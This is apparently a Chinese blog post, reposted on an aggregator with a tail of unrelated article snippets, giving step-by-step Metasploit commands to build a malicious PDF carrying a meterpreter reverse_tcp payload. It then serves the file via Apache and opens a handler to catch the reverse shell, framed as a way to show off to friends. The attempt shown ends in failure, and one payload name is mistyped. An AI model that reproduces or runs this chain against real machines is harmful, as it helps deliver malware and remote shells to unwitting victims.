使用PDF文件入侵任何操作系統

提示:我們8月28號開學,所以我得快點更新了,不能拖了😥

文章目錄

  • 前言
  • 一、打開終端
  • 總結


在這里插入圖片描述

前言

PDF文件被廣泛應用于共享信息,電子郵件,網站或文檔或存儲系統的真實鏈接
它可以用于惡意軟件的載體。
不要問我什么意思?我的意思是PDF文件可以入侵你的電腦,是的,這很簡單
學會這個您可以向您的家人,朋友,炫耀 (我是大黑闊,我好厲害呀)
當然,前提是不要用于違法活動,如果您進行了,您會在幾分鐘之內,進監獄,然后看不了我的文章了不能向家人炫耀了。
我不嘮叨了,讓我們開始吧
(這前言寫的真好)


提示:以下是本篇文章非正文內容,下面案例請勿進行違法活動

一、打開終端

在這里插入圖片描述
輸入

msfconsole

然后輸入這個:

use exploit/windows/fileformat/adobe_pdf_embedded_exe

在這里插入圖片描述
我們得配置,輸入

show options

輸入:

set payload windows/x64/meterpreter/erverse_tcp

在這里插入圖片描述
這將是他們所使用的ip
輸入

show options

在這里插入圖片描述
這是惡意PDF文件名,看完了嗎?看完了我們繼續
輸入:

exploit

文件創建在哪里了?看這里。
在這里插入圖片描述
是不是很麻煩,又要開權限,拿文件我們使用mv,輸入

mv /root/.msf4/local/evil.pdf /var/www/html/evil.pdf

然后讓我們打開apache服務,輸入:

systemctl start apache2.service

讓我再炫耀一次,輸入這個

systemctl status apache2.service

在這里插入圖片描述
這個是用來檢查apache服務狀態,然后就沒了,這基本上是開了網絡服務器。
在這里插入圖片描述
這是Windows11,作為目標,當然,這是我的電腦,我很想用同學的電腦,當目標,他們害怕我,所以就用我的
在這里插入圖片描述
打開瀏覽器輸入您的IP/文件名
您會發現,啊,直接打開了,對的,您需要郵件,然后保存到桌面就行了
回到攻擊機,輸入:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp

堅持住,我們還差一個

set LHOST 192.168.0.140

然后輸入

exploit

在這里插入圖片描述

好吧,又出事故了,我打開文件了,卻連接不了
在這里插入圖片描述
我檢查了很多遍,這跟我筆記上寫的對啊?


總結

翻車了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/41543.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/41543.shtml
英文地址,請注明出處:http://en.pswp.cn/news/41543.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在項目中如何解除idea和Git的綁定

在項目中如何解除idea和Git的綁定 1、點擊File--->Settings...(CtrlAltS)--->Version Control--->Directory Mappings--->點擊取消Git的注冊根路徑: 2、回到idea界面就沒有Git了: 3、給這個項目初始化 這樣就可以重新綁定遠程倉庫了&#x…

Mysql查詢

第三章:select 語句 SELECT employees.employee_id,employees.department_id FROM employees WHERE employees.employee_id176; DESC departments;SELECT * FROM departments;第四章:運算符使用 SELECT employees.last_name,employees.salary FROM em…

springboot使用mybatis配置多數據源,同時能使用mybatisplus

概述 配置多數據源有兩種方案。一種是使用dynamic依賴的DS注解的方法,這種是比較簡單方便的方法。另一種是本文介紹的方式,配置不同數據源的SqlSessionFactory 。 第二種方法是我在開發一個老項目時,老項目配置的方法。 application.xml s…

centos 7鏡像(iso)下載圖文教程(超詳細)

聲明:本教程為本人學習筆記,僅供參考 文章目錄 前言一、阿里云鏡像站下載centos 7 二、清華源下載centos 7小結 前言 聲明:本教程為本人學習筆記,僅供參考 本教程將提供兩種方式下載centos 7 系統鏡像 1、阿里巴巴開源鏡像站 2、…

vue入門

Attribute 綁定 v-bind:取值方式 開發前準備 安裝node.js需要高于15.0 創建vue項目 npm init vuelatest安裝 npm install 啟動 npm run dev模板語法 文本插值 {{ 變量 }} <p> {{ mesg }} </p>這種方式公支持單一表達式&#xff0c;也可以是js代碼&#xf…

大數據課程I2——Kafka的架構

文章作者郵箱:yugongshiye@sina.cn 地址:廣東惠州 ▲ 本章節目的 ? 掌握Kafka的架構; ? 掌握Kafka的Topic與Partition; 一、Kafka核心概念及操作 1. producer生產者,可以是一個測試線程,也可以是某種技術框架(比如flume)。 2. producer向kafka生…

SIP網絡音頻模塊SV-2401V網絡對講音頻模塊(支持POE)

功能和特點 音頻工作方式&#xff1a; 音頻解碼&#xff1a;即音頻播放。接收來自網絡的音頻流&#xff0c;經過模塊解碼后通過線路輸出高質量音頻信號。目前支持可以播放以下音頻格式&#xff1a;MP3、WAV (PCM IMA ADPCM)、G.711、G.722等&#xff0c;可以播放最高48k采樣率…

C語言,二級指針,p,*p,**p的使用

二級指針的使用是一個非常不易的問題&#xff0c;主要還是用的少了&#xff0c;如果經常使用到他&#xff0c;就會很明顯的感受到其具體使用方法。 char *a[10]{"as","bc","ssasd","asd"}&#xff1b; char **pa; 則 p,*p,**p的含義…

ROS-PyQt小案例

前言&#xff1a;目前還在學習ROS無人機框架中&#xff0c;&#xff0c;&#xff0c; 更多更新文章詳見我的個人博客主頁【前往】 ROS與PyQt5結合的小demo&#xff0c;用于學習如何設計一個界面&#xff0c;并與ROS中的Service和Topic結合&#xff0c;從而控制多個小烏龜的運動…

當判斷條件更多的時候,使用JS映射,讓代碼更加的優雅。

前端在進行各種判斷的時候&#xff0c;if會用到很多&#xff0c;但是如果判斷的條件過多&#xff0c;還一直用if&#xff0c;代碼會非常臃腫&#xff0c;而且可修改性不強 那么就有人說了&#xff0c;if不行&#xff0c;那我用switch case唄&#xff0c;但是用switch case 也沒…

不懂瞎指揮,就會闖大禍

不懂瞎指揮&#xff0c;就會闖大禍 【安志強趣講《孫子兵法》第12講】 【原文】 故君之所以患于軍者三&#xff1a;不知軍之不可以進而謂之進&#xff0c;不知軍之不可以退而謂之退&#xff0c;是謂縻軍&#xff1b; 【注釋】 患&#xff0c;危害、貽害。 縻&#xff08;m&…

Fine tune簡介

目錄 Intro Related work Example .1 重新訓練 .2 使用新的數據集進行fine tune .3 修改net結構 References 移學習不是一種算法而是一種機器學習思想,應用到深度學習就是微調(Fine-tune)。通過修改預訓練網絡模型結構(如修改樣本類別輸出個數),選擇性載入預訓練網絡…

拒絕擺爛!C語言練習打卡第三天

&#x1f525;博客主頁&#xff1a;小王又困了 &#x1f4da;系列專欄&#xff1a;每日一練 &#x1f31f;人之為學&#xff0c;不日近則日退 ??感謝大家點贊&#x1f44d;收藏?評論?? 目錄 一、選擇題 &#x1f4dd;1.第一題 &#x1f4dd;2.第二題 &#x1f4…

【LeetCode】337.打家劫舍Ⅲ

題目 小偷又發現了一個新的可行竊的地區。這個地區只有一個入口&#xff0c;我們稱之為 root 。 除了 root 之外&#xff0c;每棟房子有且只有一個“父“房子與之相連。一番偵察之后&#xff0c;聰明的小偷意識到“這個地方的所有房屋的排列類似于一棵二叉樹”。 如果 兩個直…

Command Injection

Command Injection Command Injection&#xff0c;即命令注入&#xff0c;是指通過提交惡意構造的參數破壞命令語句結構&#xff0c;從而達到執行惡意命令的目的。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一。 PHP命令注入漏洞的函數 systme()、exec()、shell_ex…

【3Ds Max】彎曲命令的簡單使用

簡介 在3ds Max中&#xff0c;"彎曲"&#xff08;Bend&#xff09;是一種用于在平面或曲面上創建彎曲效果的建模命令。使用彎曲命令&#xff0c;您可以將對象沿特定軸向彎曲&#xff0c;從而創建出各種彎曲的幾何形狀。以下是使用3ds Max中的彎曲命令的基本步驟&…

8月17日,每日信息差

1、專家稱無需太過擔心EG.5變異株 2、快手職級體系調整&#xff0c;職級序列由雙軌變單軌 3、抖音、火山引擎、中國電影資料館發起“經典香港電影修復計劃”&#xff0c;一年內將100部香港電影修復至4K版本。本次修復工作由火山引擎提供技術支持&#xff0c;與中國電影資料館…

【Bert101】最先進的 NLP 模型解釋【01/4】

0 什么是伯特&#xff1f; BERT是來自【Bidirectional Encoder Representations from Transformers】變壓器的雙向編碼器表示的縮寫&#xff0c;是用于自然語言處理的機器學習&#xff08;ML&#xff09;模型。它由Google AI Language的研究人員于2018年開發&#xff0c;可作為…

【Harbor】使用手冊

一、Harbor使用方式 Harbor 作為鏡像倉庫&#xff0c;主要的交互方式就是 將鏡像上傳到Harbor上&#xff0c;以及從Harbor上下載指定鏡像 在傳輸鏡像前&#xff0c;可以先使用 Harbor 提供的權限管理&#xff0c;將項目設置為私有項目&#xff0c;并對不同用戶設置不同角色&…

基于Spring Boot的高校在線考試系統的設計與實現(Java+spring boot+VUE+MySQL)

獲取源碼或者論文請私信博主 演示視頻&#xff1a; 基于Spring Boot的高校在線考試系統的設計與實現&#xff08;Javaspring bootVUEMySQL&#xff09; 使用技術&#xff1a; 前端&#xff1a;html css javascript jQuery ajax thymeleaf 微信小程序 后端&#xff1a;Java s…